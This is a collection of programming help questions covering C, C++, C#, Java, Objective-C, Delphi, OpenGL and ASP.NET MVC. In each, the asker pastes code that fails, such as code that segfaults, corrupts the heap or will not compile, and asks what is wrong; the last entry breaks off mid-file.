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• Create Views for object properties in model in MVC 3 application?

  - by Anders Svensson

  I have an Asp.Net MVC 3 application with a database "Consultants", accessed by EF. Now, the Consultant table in the db has a one-to-many relationship to several other tables for CV type information (work experience, etc). So a user should be able to fill in their name etc once, but should be able to add a number of "work experiences", and so on. But these foreign key tables are complex objects in the model, and when creating the Create View I only get the simple properties as editor fields. How do I go about designing the View or Views so that the complex objects can be filled in as well? I picture a View in my mind where the simple properties are simple fields, and then some sort of control where you can click "add work experience", and as many as needed would be added. But how would I do that and still utilize the model binding? In fact, I don't know how to go about it at all. (BTW, Program and Language stand for things like software experience in general, and natural language competence, not programming languages, in case you're wondering about the relationships there). Any ideas greatly appreciated! Here's the Create View created by the add View command by default: @{ ViewBag.Title = "Create"; } <h2>Create</h2> <script src="@Url.Content("~/Scripts/jquery.validate.min.js")" type="text/javascript"></script> <script src="@Url.Content("~/Scripts/jquery.validate.unobtrusive.min.js")" type="text/javascript"></script> @using (Html.BeginForm()) { @Html.ValidationSummary(true) <fieldset> <legend>Consultant</legend> <div class="editor-label"> @Html.LabelFor(model => model.FirstName) </div> <div class="editor-field"> @Html.EditorFor(model => model.FirstName) @Html.ValidationMessageFor(model => model.FirstName) </div> <div class="editor-label"> @Html.LabelFor(model => model.LastName) </div> <div class="editor-field"> @Html.EditorFor(model => model.LastName) @Html.ValidationMessageFor(model => model.LastName) </div> <div class="editor-label"> @Html.LabelFor(model => model.UserName) </div> <div class="editor-field"> @Html.EditorFor(model => model.UserName) @Html.ValidationMessageFor(model => model.UserName) </div> <div class="editor-label"> @Html.LabelFor(model => model.Description) </div> <div class="editor-field"> @Html.EditorFor(model => model.Description) @Html.ValidationMessageFor(model => model.Description) </div> <p> <input type="submit" value="Create" /> </p> </fieldset> } <div> @Html.ActionLink("Back to List", "Index") </div> And here's the EF database diagram:

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• where is the error in this C code , and how to get rid of the warnings?

  - by mekasperasky

  #include<stdio.h> #include<string.h> //This program is a sorting application that reads a sequence of numbers from a file and prints them on the screen . The reading from the file here , is a call back function . typedef int (*CompFunc)(const char* , const char* ); typedef int (*ReadCheck)(char nullcheck); char array[100]; //Let this fucntion be done in the library itself . It doesnt care as to where the compare function and how is it implemented . Meaning suppose the function wants to do sort in ascending order or in descending order then the changes have to be done by the client code in the "COMPARE" function who will be implementing the lib code . void ReadFile(FILE *fp,ReadCheck rc) { char a; char d[100]; int count = 0,count1=0; a=fgetc(fp); while(1 != (*rc)(a)) { if(a=='\0') { strcpy(array[count],d); count=count+1; } else { d[count1]=a; count1=count1+1; } } } void Bubblesort(int* array , int size , int elem_size , CompFunc cf) { int i,j; int *temp; for( i=0;i < size ;i++) { for ( j=0;j < size -1 ; j++) { // make the callback to the comparision function if(1 == (*cf)(array+j*elem_size,array+ (j+1)*elem_size)) { //interchanging of elements temp = malloc(sizeof(int *) * elem_size); memcpy(temp , array+j*elem_size,elem_size); memcpy(array+j*elem_size,array+(j+1)*elem_size,elem_size); memcpy(array + (j+1)*elem_size , temp , elem_size); free(temp); } } } } //Let these functions be done at the client side int Compare(const char* el1 , const char* el2) { int element1 = *(int*)el1; int element2 = *(int*)el2; if(element1 < element2 ) return -1; if(element1 > element2) return 1 ; return 0; } int ReadChecked(char nullcheck) { if (nullcheck=='\n') return 1; else return 0; } int main() { FILE fp1; int k; fp1=fopen("readdata.txt","r"); Readfile(fp1,&ReadChecked); Bubblesort((char*)array,5,sizeof(array[0]),&Compare); printf("after sorting \n"); for (k=0;k<5;k++) printf("%d",array[k]); return 0; } The error i get is fsc1.c: In function ‘ReadFile’: fsc1.c:19: warning: passing argument 1 of ‘strcpy’ makes pointer from integer without a cast fsc1.c: In function ‘Bubblesort’: fsc1.c:40: warning: passing argument 1 of ‘cf’ from incompatible pointer type fsc1.c:40: warning: passing argument 2 of ‘cf’ from incompatible pointer type fsc1.c:43: warning: incompatible implicit declaration of built-in function ‘malloc’ fsc1.c:47: warning: incompatible implicit declaration of built-in function ‘free’ fsc1.c: In function ‘main’: fsc1.c:80: error: incompatible types in assignment fsc1.c:82: warning: passing argument 1 of ‘Bubblesort’ from incompatible pointer type

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• What version-control system is most trivial to set up and use for toy projects?

  - by Norman Ramsey

  I teach the third required intro course in a CS department. One of my homework assignments asks students to speed up code they have written for a previous assignment. Factor-of-ten speedups are routine; factors of 100 or 1000 are not unheard of. (For a factor of 1000 speedup you have to have made rookie mistakes with malloc().) Programs are improved by a sequence is small changes. I ask students to record and describe each change and the resulting improvement. While you're improving a program it is also possible to break it. Wouldn't it be nice to back out? You can see where I'm going with this: my students would benefit enormously from version control. But there are some caveats: Our computing environment is locked down. Anything that depends on a central repository is suspect. Our students are incredibly overloaded. Not just classes but jobs, sports, music, you name it. For them to use a new tool it has to be incredibly easy and have obvious benefits. Our students do most work in pairs. Getting bits back and forth between accounts is problematic. Could this problem also be solved by distributed version control? Complexity is the enemy. I know setting up a CVS repository is too baffling---I myself still have trouble because I only do it once a year. I'm told SVN is even harder. Here are my comments on existing systems: I think central version control (CVS or SVN) is ruled out because our students don't have the administrative privileges needed to make a repository that they can share with one other student. (We are stuck with Unix file permissions.) Also, setup on CVS or SVN is too hard. darcs is way easy to set up, but it's not obvious how you share things. darcs send (to send patches by email) seems promising but it's not clear how to set it up. The introductory documentation for git is not for beginners. Like CVS setup, it's something I myself have trouble with. I'm soliciting suggestions for what source-control to use with beginning students. I suspect we can find resources to put a thin veneer over an existing system and to simplify existing documentation. We probably don't have resources to write new documentation. So, what's really easy to setup, commit, revert, and share changes with a partner but does not have to be easy to merge or to work at scale? A key constraint is that programming pairs have to be able to share work with each other and only each other, and pairs change every week. Our infrastructure is Linux, Solaris, and Windows with a netapp filer. I doubt my IT staff wants to create a Unix group for each pair of students. Is there an easier solution I've overlooked? (Thanks for the accepted answer, which beats the others on account of its excellent reference to Git Magic as well as the helpful comments.)

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• Problem using delete[] (Heap corruption) when implementing operator+= (C++)

  - by Darel

  I've been trying to figure this out for hours now, and I'm at my wit's end. I would surely appreciate it if someone could tell me when I'm doing wrong. I have written a simple class to emulate basic functionality of strings. The class's members include a character pointer data (which points to a dynamically created char array) and an integer strSize (which holds the length of the string, sans terminator.) Since I'm using new and delete, I've implemented the copy constructor and destructor. My problem occurs when I try to implement the operator+=. The LHS object builds the new string correctly - I can even print it using cout - but the problem comes when I try to deallocate the data pointer in the destructor: I get a "Heap Corruption Detected after normal block" at the memory address pointed to by the data array the destructor is trying to deallocate. Here's my complete class and test program: #include <iostream> using namespace std; // Class to emulate string class Str { public: // Default constructor Str(): data(0), strSize(0) { } // Constructor from string literal Str(const char* cp) { data = new char[strlen(cp) + 1]; char *p = data; const char* q = cp; while (*q) *p++ = *q++; *p = '\0'; strSize = strlen(cp); } Str& operator+=(const Str& rhs) { // create new dynamic memory to hold concatenated string char* str = new char[strSize + rhs.strSize + 1]; char* p = str; // new data char* i = data; // old data const char* q = rhs.data; // data to append // append old string to new string in new dynamic memory while (*p++ = *i++) ; p--; while (*p++ = *q++) ; *p = '\0'; // assign new values to data and strSize delete[] data; data = str; strSize += rhs.strSize; return *this; } // Copy constructor Str(const Str& s) { data = new char[s.strSize + 1]; char *p = data; char *q = s.data; while (*q) *p++ = *q++; *p = '\0'; strSize = s.strSize; } // destructor ~Str() { delete[] data; } const char& operator[](int i) const { return data[i]; } int size() const { return strSize; } private: char *data; int strSize; }; ostream& operator<<(ostream& os, const Str& s) { for (int i = 0; i != s.size(); ++i) os << s[i]; return os; } // Test constructor, copy constructor, and += operator int main() { Str s = "hello"; // destructor for s works ok Str x = s; // destructor for x works ok s += "world!"; // destructor for s gives error cout << s << endl; cout << x << endl; return 0; }

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• Need help with a memory management problem in my game model

  - by user309030

  Hi, I'm a beginner level programmer trying to make a game app for the iphone and I've encountered a possible issue with the memory management (exc_bad_access) of my program so far. I've searched and read dozens of articles regarding memory management (including apple's docs) but I still can't figure out what exactly is wrong with my codes. So I would really appreciate it if someone can help clear up the mess I made for myself. //in the .h file @property(nonatomic,retain) NSMutableArray *fencePoleArray; @property(nonatomic,retain) NSMutableArray *fencePoleImageArray; @property(nonatomic,retain) NSMutableArray *fenceImageArray; //in the .m file - (void)viewDidLoad { [super viewDidLoad]; self.gameState = gameStatePaused; fencePoleArray = [[NSMutableArray alloc] init]; fencePoleImageArray = [[NSMutableArray alloc] init]; fenceImageArray = [[NSMutableArray alloc] init]; mainField = CGRectMake(10, 35, 310, 340); .......... [NSTimer scheduledTimerWithTimeInterval:0.05 target:self selector:@selector(gameLoop) userInfo:nil repeats:YES]; } So basically, the player touches the screen to set up the fences/poles -(void)touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event { if(.......) { ....... } else { UITouch *touch = [[event allTouches] anyObject]; currentTapLoc = [touch locationInView:touch.view]; NSLog(@"%i, %i", (int)currentTapLoc.x, (int)currentTapLoc.y); if(CGRectContainsPoint(mainField, currentTapLoc)) { if([self checkFence]) { onFencePole++; //this 3 set functions adds their respective objects into the 3 NSMutableArrays using addObject: [self setFencePole]; [self setFenceImage]; [self setFencePoleImage]; ....... } } else { ....... } } } } The setFence function (setFenceImage and setFencePoleImage is similar to this) -(void)setFencePole { Fence *fencePole; if (!elecFence) { fencePole = [[Fence alloc] initFence:onFencePole fenceType:1 fencePos:currentTapLoc]; } else { fencePole = [[Fence alloc] initFence:onFencePole fenceType:2 fencePos:currentTapLoc]; } [fencePoleArray addObject:fencePole]; [fencePole release]; and whenever I press a button in the game, endOpenState is called to clear away all the extra images(fence/poles) on the screen and also to remove all existing objects in the 3 NSMutableArray. Point is to remove all the objects in the NSMutableArrays but keep the array itself so it can be reused later. -(void)endOpenState { ........ int xMax = [fencePoleArray count]; int yMax = [fenceImageArray count]; for (int x = 0; x < xMax; x++) { [[fencePoleImageArray objectAtIndex:x] removeFromSuperview]; } for (int y = 0; y < yMax; y++) { [[fenceImageArray objectAtIndex:y] removeFromSuperview]; } [fencePoleArray removeAllObjects]; [fencePoleImageArray removeAllObjects]; [fenceImageArray removeAllObjects]; ........ } The crash happens here at the checkFence function. -(BOOL)checkFence { if (onFencePole == 0) { return YES; } else if (onFencePole >= 1 && onFencePole < currentMaxFencePole - 1) { CGPoint tempPoint1 = currentTapLoc; CGPoint tempPoint2 = [[fencePoleArray objectAtIndex:onFencePole-1] returnPos]; // the crash happens at this line if ([self checkDistance:tempPoint1 point2:tempPoint2]) { return YES; } else { return NO; } } else if (onFencePole == currentMaxFencePole - 1) { ...... } else { return NO; } } So the problem here is, everything works fine until checkFence is called the 2nd time after endOpenState is called. So its like tap_screen - tap_screen - press_button_to_call_endOpenState - tap screen - tap_screen - crash What I'm thinking of is that fencePoleArray got messed up when I used [fencePoleArray removeAllObjects] because it doesn't crash when I comment it out. It would really be great if someone can explain to me what went wrong. And thanks in advance.

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• Why does this Java code not utilize all CPU cores?

  - by ReneS

  The attached simple Java code should load all available cpu core when starting it with the right parameters. So for instance, you start it with java VMTest 8 int 0 and it will start 8 threads that do nothing else than looping and adding 2 to an integer. Something that runs in registers and not even allocates new memory. The problem we are facing now is, that we do not get a 24 core machine loaded (AMD 2 sockets with 12 cores each), when running this simple program (with 24 threads of course). Similar things happen with 2 programs each 12 threads or smaller machines. So our suspicion is that the JVM (Sun JDK 6u20 on Linux x64) does not scale well. Did anyone see similar things or has the ability to run it and report whether or not it runs well on his/her machine (= 8 cores only please)? Ideas? I tried that on Amazon EC2 with 8 cores too, but the virtual machine seems to run different from a real box, so the loading behaves totally strange. package com.test; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.Future; import java.util.concurrent.TimeUnit; public class VMTest { public class IntTask implements Runnable { @Override public void run() { int i = 0; while (true) { i = i + 2; } } } public class StringTask implements Runnable { @Override public void run() { int i = 0; String s; while (true) { i++; s = "s" + Integer.valueOf(i); } } } public class ArrayTask implements Runnable { private final int size; public ArrayTask(int size) { this.size = size; } @Override public void run() { int i = 0; String[] s; while (true) { i++; s = new String[size]; } } } public void doIt(String[] args) throws InterruptedException { final String command = args[1].trim(); ExecutorService executor = Executors.newFixedThreadPool(Integer.valueOf(args[0])); for (int i = 0; i < Integer.valueOf(args[0]); i++) { Runnable runnable = null; if (command.equalsIgnoreCase("int")) { runnable = new IntTask(); } else if (command.equalsIgnoreCase("string")) { runnable = new StringTask(); } Future<?> submit = executor.submit(runnable); } executor.awaitTermination(1, TimeUnit.HOURS); } public static void main(String[] args) throws InterruptedException { if (args.length < 3) { System.err.println("Usage: VMTest threadCount taskDef size"); System.err.println("threadCount: Number 1..n"); System.err.println("taskDef: int string array"); System.err.println("size: size of memory allocation for array, "); System.exit(-1); } new VMTest().doIt(args); } }

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• Drawing using Dynamic Array and Buffer Object

  - by user1905910

  I have a problem when creating the vertex array and the indices array. I don't know what really is the problem with the code, but I guess is something with the type of the arrays, can someone please give me a light on this? #define GL_GLEXT_PROTOTYPES #include<GL/glut.h> #include<iostream> using namespace std; #define BUFFER_OFFSET(offset) ((GLfloat*) NULL + offset) const GLuint numDiv = 2; const GLuint numVerts = 9; GLuint VAO; void display(void) { enum vertex {VERTICES, INDICES, NUM_BUFFERS}; GLuint * buffers = new GLuint[NUM_BUFFERS]; GLfloat (*squareVerts)[2] = new GLfloat[numVerts][2]; GLubyte * indices = new GLubyte[numDiv*numDiv*4]; GLuint delta = 80/numDiv; for(GLuint i = 0; i < numVerts; i++) { squareVerts[i][1] = (i/(numDiv+1))*delta; squareVerts[i][0] = (i%(numDiv+1))*delta; } for(GLuint i=0; i < numDiv; i++){ for(GLuint j=0; j < numDiv; j++){ //cada iteracao gera 4 pontos #define NUM_VERT(ii,jj) ((ii)*(numDiv+1)+(jj)) #define INDICE(ii,jj) (4*((ii)*numDiv+(jj))) indices[INDICE(i,j)] = NUM_VERT(i,j); indices[INDICE(i,j)+1] = NUM_VERT(i,j+1); indices[INDICE(i,j)+2] = NUM_VERT(i+1,j+1); indices[INDICE(i,j)+3] = NUM_VERT(i+1,j); } } glGenVertexArrays(1, &VAO); glBindVertexArray(VAO); glGenBuffers(NUM_BUFFERS, buffers); glBindBuffer(GL_ARRAY_BUFFER, buffers[VERTICES]); glBufferData(GL_ARRAY_BUFFER, sizeof(squareVerts), squareVerts, GL_STATIC_DRAW); glVertexPointer(2, GL_FLOAT, 0, BUFFER_OFFSET(0)); glEnableClientState(GL_VERTEX_ARRAY); glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, buffers[INDICES]); glBufferData(GL_ELEMENT_ARRAY_BUFFER, sizeof(indices), indices, GL_STATIC_DRAW); glClear(GL_COLOR_BUFFER_BIT); glColor3f(1.0,1.0,1.0); glDrawElements(GL_POINTS, 16, GL_UNSIGNED_BYTE, BUFFER_OFFSET(0)); glutSwapBuffers(); } void init() { glClearColor(0.0, 0.0, 0.0, 0.0); gluOrtho2D((GLdouble) -1.0, (GLdouble) 90.0, (GLdouble) -1.0, (GLdouble) 90.0); } int main(int argv, char** argc) { glutInit(&argv, argc); glutInitDisplayMode(GLUT_RGB | GLUT_DOUBLE); glutInitWindowSize(500,500); glutInitWindowPosition(100,100); glutCreateWindow("myCode.cpp"); init(); glutDisplayFunc(display); glutMainLoop(); return 0; } Edit: The problem here is that drawing don't work at all. But I don't get any error, this just don't display what I want to display. Even if I put the code that make the vertices and put them in the buffers in a diferent function, this don't work. I just tried to do this: void display(void) { glBindVertexArray(VAO); glClear(GL_COLOR_BUFFER_BIT); glColor3f(1.0,1.0,1.0); glDrawElements(GL_POINTS, 16, GL_UNSIGNED_BYTE, BUFFER_OFFSET(0)); glutSwapBuffers(); } and I placed the rest of the code in display in another function that is called on the start of the program. But the problem still

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• how to mount partitions from USB drives in Windows using Delphi?

  - by user569556

  Hi. I'm a Delphi programmer. I want to mount all partitions from USB drives in Windows (XP). The OS is doing this automatically but there are situations when such a program is useful. I know how to find if a drive is on USB or not. My code so far is: type STORAGE_QUERY_TYPE = (PropertyStandardQuery = 0, PropertyExistsQuery, PropertyMaskQuery, PropertyQueryMaxDefined); TStorageQueryType = STORAGE_QUERY_TYPE; STORAGE_PROPERTY_ID = (StorageDeviceProperty = 0, StorageAdapterProperty); TStoragePropertyID = STORAGE_PROPERTY_ID; STORAGE_PROPERTY_QUERY = packed record PropertyId: STORAGE_PROPERTY_ID; QueryType: STORAGE_QUERY_TYPE; AdditionalParameters: array[0..9] of AnsiChar; end; TStoragePropertyQuery = STORAGE_PROPERTY_QUERY; STORAGE_BUS_TYPE = (BusTypeUnknown = 0, BusTypeScsi, BusTypeAtapi, BusTypeAta, BusType1394, BusTypeSsa, BusTypeFibre, BusTypeUsb, BusTypeRAID, BusTypeiScsi, BusTypeSas, BusTypeSata, BusTypeMaxReserved = $7F); TStorageBusType = STORAGE_BUS_TYPE; STORAGE_DEVICE_DESCRIPTOR = packed record Version: DWORD; Size: DWORD; DeviceType: Byte; DeviceTypeModifier: Byte; RemovableMedia: Boolean; CommandQueueing: Boolean; VendorIdOffset: DWORD; ProductIdOffset: DWORD; ProductRevisionOffset: DWORD; SerialNumberOffset: DWORD; BusType: STORAGE_BUS_TYPE; RawPropertiesLength: DWORD; RawDeviceProperties: array[0..0] of AnsiChar; end; TStorageDeviceDescriptor = STORAGE_DEVICE_DESCRIPTOR; const IOCTL_STORAGE_QUERY_PROPERTY = $002D1400; var i: Integer; H: THandle; USBDrives: array of Byte; Query: TStoragePropertyQuery; dwBytesReturned: DWORD; Buffer: array[0..1023] of Byte; sdd: TStorageDeviceDescriptor absolute Buffer; begin SetLength(UsbDrives, 0); SetErrorMode(SEM_FAILCRITICALERRORS); for i := 0 to 99 do begin H := CreateFile(PChar('\\.\PhysicalDrive' + IntToStr(i)), 0, FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING, 0, 0); if H <> INVALID_HANDLE_VALUE then begin try dwBytesReturned := 0; FillChar(Query, SizeOf(Query), 0); FillChar(Buffer, SizeOf(Buffer), 0); sdd.Size := SizeOf(Buffer); Query.PropertyId := StorageDeviceProperty; Query.QueryType := PropertyStandardQuery; if DeviceIoControl(H, IOCTL_STORAGE_QUERY_PROPERTY, @Query, SizeOf(Query), @Buffer, SizeOf(Buffer), dwBytesReturned, nil) then if sdd.BusType = BusTypeUsb then begin SetLength(USBDrives, Length(USBDrives) + 1); UsbDrives[High(USBDrives)] := Byte(i); end; finally CloseHandle(H); end; end; end; for i := 0 to High(USBDrives) do begin // end; end. But I don't know how to access partitions on each drive and mounts them. Can you please help me? I searched before I asked and I couldn't find a working code. But if I did not properly then I'm sorry and please show me that topic. Best regards, John

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• C++ Serial Port Question

  - by Pfeffer

  Problem: I have a hand held device that scans those graphic color barcodes on all packaging. There is a track device that I can use that will slide the device automatically. This track device functions by taking ascii code through a serial port. I need to get this thing to work in FileMaker on a Mac. So no terminal programs, etc... What I've got so far: I bought a Keyspan USB/Serial adapter. Using a program called ZTerm I was successful in sending commands to the device. Example: "C,7^M^J" I was also able to do the same thing in Terminal using this command: screen /dev/tty.KeySerial1 57600 and then type in the same command above(but when I typed in I just hit Control-M and Control-J for the carriage return and line feed) Now I'm writing a plug-in for FileMaker(in C++ of course). I want to get what I did above happen in C++ so when I install that plug-in in FileMaker I can just call one of those functions and have the whole process take place right there. I'm able to connect to the device, but I can't talk to it. It is not responding to anything. I've tried connecting to the device(successfully) using these: FILE *comport; if ((comport = fopen("/dev/tty.KeySerial1", "w")) == NULL){...} and int fd; fd = open("/dev/tty.KeySerial1", O_RDWR | O_NOCTTY | O_NDELAY); This is what I've tried so far in way of talking to the device: fputs ("C,7^M^J",comport); or fprintf(comport,"C,7^M^J"); or char buffer[] = { 'C' , ',' , '7' , '^' , 'M' , '^' , 'J' }; fwrite (buffer , 1 , sizeof(buffer) , comport ); or fwrite('C,7^M^J', 1, 1, comport); Questions: When I connected to the device from Terminal and using ZTerm, I was able to set my baud rate of 57600. I think that may be why it isn't responding here. But I don't know how to do it here.... Does any one know how to do that? I tried this, but it didn't work: comport->BaudRate = 57600; There are a lot of class solutions out there but they all call these include files like termios.h and stdio.h. I don't have these and, for whatever reason, I can't find them to download. I've downloaded a few examples but there are like 20 files in them and they're all calling other files I can't find(like the ones listed above). Do I need to find these and if so where? I just don't know enough about C++ Is there a website where I can download libraries?? Another solution might be to put those terminal commands in C++. Is there a way to do that? So this has been driving me crazy. I'm not a C++ guy, I only know basic programming concepts. Is anyone out there a C++ expert? I ideally I'd like this to just work using functions I already have, like those fwrite, fputs stuff. Thanks!

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• Mallocing an unsigned char array to store ints

  - by Max Desmond

  I keep getting a segmentation fault when i test the following code. I am currently unable to find an answer after having searched the web. a = (byte *)malloc(sizeof(byte) * x ) ; for( i = 0 ; i < x-1 ; i++ ) { scanf("%d", &y ) ; a[i] = y ; } Both y and x are initialized. X is the size of the array determined by the user. The segmentation fault is on the second to last integer to be added, i found this by adding printf("roar") ; before setting a[i] to y and entering one number at a time. Byte is a typedef of an unsigned char. Note: I've also tried using a[i] = (byte)y ; A is ininitalized as follows byte *a ; If you need to view the entire code it is this: #include <stdio.h> #include <stdlib.h> #include "sort.h" int p_cmp_f () ; int main( int argc, char *argv[] ) { int x, y, i, choice ; byte *a ; while( choice !=2 ) { printf( "Would you like to sort integers?\n1. Yes\n2. No\n" ) ; scanf("%d", &choice ) ; switch(choice) { case 1: printf( "Enter the length of the array: " ) ; scanf( "%d", &x ) ; a = (byte *)malloc(sizeof( byte ) * x ) ; printf( "Enter %d integers to add to the array: ", x ) ; for( i = 0 ; i < x -1 ; i++ ) { scanf( "%d", &y ) ; a[i] = y ; } switch( choice ) { case 1: bubble_sort( a, x, sizeof(int), p_cmp_f ) ; for( i = 0 ; i < x ; i++ ) printf( "%d", a[i] ; break ; case 2: selection_sort( a, x, sizeof(int), p_cmp_f ) ; for( i = 0 ; i < x; i++ ) printf( "%d", a[i] ; break ; case 3: insertion_sort( a, x, sizeof(int), p_cmp_f ) ; for( i = 0 ; i < x ; i++ ) printf( "%d", a[i] ; break ; case 4: merge_sort( a, x, sizeof(int), p_cmp_f ) ; for( i = 0 ; i < x ; i++ ) printf( "%d", a[i] ; break ; case 5: quick_sort( a, x, sizeof(int), p_cmp_f ) ; for( i = 0 ; i < x ; i++ ) printf( "%d", a[i] ; break ; default: printf("Enter either 1,2,3,4, or 5" ) ; break ; } case 2: printf( "Thank you for using this program\n" ) ; return 0 ; break ; default: printf( "Enter either 1 or 2: " ) ; break ; } } free(a) ; return 0 ; } int p_cmp_f( byte *element1, byte *element2 ) { return *((int *)element1) - *((int *)element2) ; }

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• C# Object Problem - Can't Solve It

  - by user612041

  I'm getting the error 'Object reference not set to an instance of an object'. I've tried looking at similar problems but genuinely cannot see what the problem is with my program. The line of code that I am having an error with is: labelQuestion.Text = table.Rows[0]["Question"].ToString(); Here is my code in its entirety: using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; using System.Data.OleDb; using System.Data.Sql; using System.Data.SqlClient; namespace Quiz_Test { public partial class Form1 : Form { public Form1() { InitializeComponent(); } String chosenAnswer, correctAnswer; DataTable table; private void Form1_Load(object sender, EventArgs e) { //declare connection string using windows security string cnString = "Provider=Microsoft.ACE.OLEDB.12.0;Data Source=C:\\Users\\Hannah\\Desktop\\QuizQuestions.accdb"; //declare Connection, command and other related objects OleDbConnection conGet = new OleDbConnection(cnString); OleDbCommand cmdGet = new OleDbCommand(); //try //{ //open connection conGet.Open(); //String correctAnswer; cmdGet.CommandType = CommandType.Text; cmdGet.Connection = conGet; cmdGet.CommandText = "SELECT * FROM QuizQuestions ORDER BY rnd()"; OleDbDataReader reader = cmdGet.ExecuteReader(); reader.Read(); labelQuestion.Text = table.Rows[0]["Question"].ToString(); radioButton1.Text = table.Rows[0]["Answer 1"].ToString(); radioButton2.Text = table.Rows[0]["Answer 2"].ToString(); radioButton3.Text = table.Rows[0]["Answer 3"].ToString(); radioButton4.Text = table.Rows[0]["Answer 4"].ToString(); correctAnswer = table.Rows[0]["Correct Answer"].ToString(); ; conGet.Close(); } private void btnSelect_Click(object sender, EventArgs e) { String cnString = "Provider=Microsoft.ACE.OLEDB.12.0;Data Source=C:\\Users\\Hannah\\Desktop\\QuizQuestions.accdb"; //declare Connection, command and other related objects OleDbConnection conGet = new OleDbConnection(cnString); OleDbCommand cmdGet = new OleDbCommand(); //try { //open connection conGet.Open(); cmdGet.CommandType = CommandType.Text; cmdGet.Connection = conGet; cmdGet.CommandText = "SELECT * FROM QuizQuestions ORDER BY rnd()"; // select all columns in all rows OleDbDataReader reader = cmdGet.ExecuteReader(); reader.Read(); if (radioButton1.Checked) { chosenAnswer = reader["Answer 1"].ToString(); } else if (radioButton2.Checked) { chosenAnswer = reader["Answer 2"].ToString(); } else if (radioButton3.Checked) { chosenAnswer = reader["Answer 3"].ToString(); } else { chosenAnswer = reader["Answer 4"].ToString(); } if (chosenAnswer == reader["Correct Answer"].ToString()) { //chosenCorrectly++; MessageBox.Show("You have got this answer correct"); //label2.Text = "You have got " + chosenCorrectly + " answers correct"; } else { MessageBox.Show("That is not the correct answer"); } } } } } I realise the problem isn't too big but I can't see how my declaration timings are wrong

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• WCF/REST Get image into picturebox?

  - by Garrith

  So I have wcf rest service which succesfuly runs from a console app, if I navigate to: http://localhost:8000/Service/picture/300/400 my image is displayed note the 300/400 sets the width and height of the image within the body of the html page. The code looks like this: namespace WcfServiceLibrary1 { [ServiceContract] public interface IReceiveData { [OperationContract] [WebInvoke(Method = "GET", BodyStyle = WebMessageBodyStyle.Wrapped, ResponseFormat = WebMessageFormat.Xml, UriTemplate = "picture/{width}/{height}")] Stream GetImage(string width, string height); } public class RawDataService : IReceiveData { public Stream GetImage(string width, string height) { int w, h; if (!Int32.TryParse(width, out w)) { w = 640; } // Handle error if (!Int32.TryParse(height, out h)) { h = 400; } Bitmap bitmap = new Bitmap(w, h); for (int i = 0; i < bitmap.Width; i++) { for (int j = 0; j < bitmap.Height; j++) { bitmap.SetPixel(i, j, (Math.Abs(i - j) < 2) ? Color.Blue : Color.Yellow); } } MemoryStream ms = new MemoryStream(); bitmap.Save(ms, System.Drawing.Imaging.ImageFormat.Jpeg); ms.Position = 0; WebOperationContext.Current.OutgoingResponse.ContentType = "image/jpeg"; return ms; } } } What I want to do now is use a client application "my windows form app" and add that image into a picturebox. Im abit stuck as to how this can be achieved as I would like the width and height of the image from my wcf rest service to be set by the width and height of the picturebox. I have tryed this but on two of the lines have errors and im not even sure if it will work as the code for my wcf rest service seperates width and height with a "/" if you notice in the url. string uri = "http://localhost:8080/Service/picture"; private void button1_Click(object sender, EventArgs e) { StringBuilder sb = new StringBuilder(); sb.AppendLine("<picture>"); sb.AppendLine("<width>" + pictureBox1.Image.Width + "</width>"); // the url looks like this http://localhost:8080/Service/picture/300/400 when accessing the image so I am trying to set this here sb.AppendLine("<height>" + pictureBox1.Image.Height + "</height>"); sb.AppendLine("</picture>"); string picture = sb.ToString(); byte[] getimage = Encoding.UTF8.GetBytes(picture); // not sure this is right HttpWebRequest req = WebRequest.Create(uri); //cant convert webrequest to httpwebrequest req.Method = "GET"; req.ContentType = "image/jpg"; req.ContentLength = getimage.Length; MemoryStream reqStrm = req.GetRequestStream(); //cant convert IO stream to IO Memory stream reqStrm.Write(getimage, 0, getimage.Length); reqStrm.Close(); HttpWebResponse resp = req.GetResponse(); // cant convert web respone to httpwebresponse MessageBox.Show(resp.StatusDescription); pictureBox1.Image = Image.FromStream(reqStrm); reqStrm.Close(); resp.Close(); } So just wondering if some one could help me out with this futile attempt at adding a variable image size from my rest service to a picture box on button click. This is the host app aswell: namespace ConsoleApplication1 { class Program { static void Main(string[] args) { string baseAddress = "http://" + Environment.MachineName + ":8000/Service"; ServiceHost host = new ServiceHost(typeof(RawDataService), new Uri(baseAddress)); host.AddServiceEndpoint(typeof(IReceiveData), new WebHttpBinding(), "").Behaviors.Add(new WebHttpBehavior()); host.Open(); Console.WriteLine("Host opened"); Console.ReadLine();

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• Segmentation fault, shared library

  - by user1306184

  I get Segmentation Fault when I try to run my program. Can someone please help me find out what Im doing wrong? Compiling with this: g++ sms_out.cpp -o sms_out g++ -c -fPIC SMSDispatch.cpp g++ -shared SMSDispatch.o -o libSMSDispatch.so It should be a shared library and dynamic linking. I get Segmentation Fault when I try to run sms_out. //sms_out.cpp #include <iostream> #include<cstdlib> #include<fstream> #include<sstream> #include<string> #include "SMSDispatch.h" using namespace std; string sms = ""; void sendSMS(string sms) { SMSDispatch* sPtr=0; sPtr->sendSMS(sms); } int main(int argc, char *argv[]) { if(argv[1]) { string input = argv[1]; string test = "--author"; if(input == test) { cout << "s149113" << endl; return 0; } } string line = ""; string file = "sms_out.txt"; ifstream myfile(file.c_str()); while(getline(myfile, line)) { string idnr, landcode, number, error; istringstream linestream(line); unsigned short errorcode; //Split the sentence getline(linestream, idnr, '\t'); getline(linestream, landcode, ':'); getline(linestream, number, '\t'); getline(linestream, error); if(idnr == "") break; //Make string to int try { errorcode = atoi(error.c_str() ); } catch (exception &) { } //Put together landcode and tlfnumber string nr = landcode + number; string txt = "Thank you for your vote!"; if(errorcode == 100) txt = "Invalid question, please try again"; else if(errorcode == 110) txt = "Sorry, only one vote pr. number"; else if(errorcode == 200) txt = "Invalid alternative, please try again"; else if(errorcode == 300) txt = "Missing a statement after other, please try again"; else if(errorcode == 999) txt = "An error occurred, please try again"; sms += "{\"ID\":" + idnr + ",\"nr\":" + nr + ",\"txt\":" + "\"" + txt + "\"" + "}\n"; } cout << sms << endl; sendSMS(sms); } //SMSDispatch.h #include <string> #ifndef SMSDISPATCH_H #define SMSDISPATCH_H using namespace std; class SMSDispatch{ public: virtual void sendSMS(string json); }; #endif //SMSDispatch.cpp #include <iostream> #include <fstream> #include "SMSDispatch.h" using namespace std; 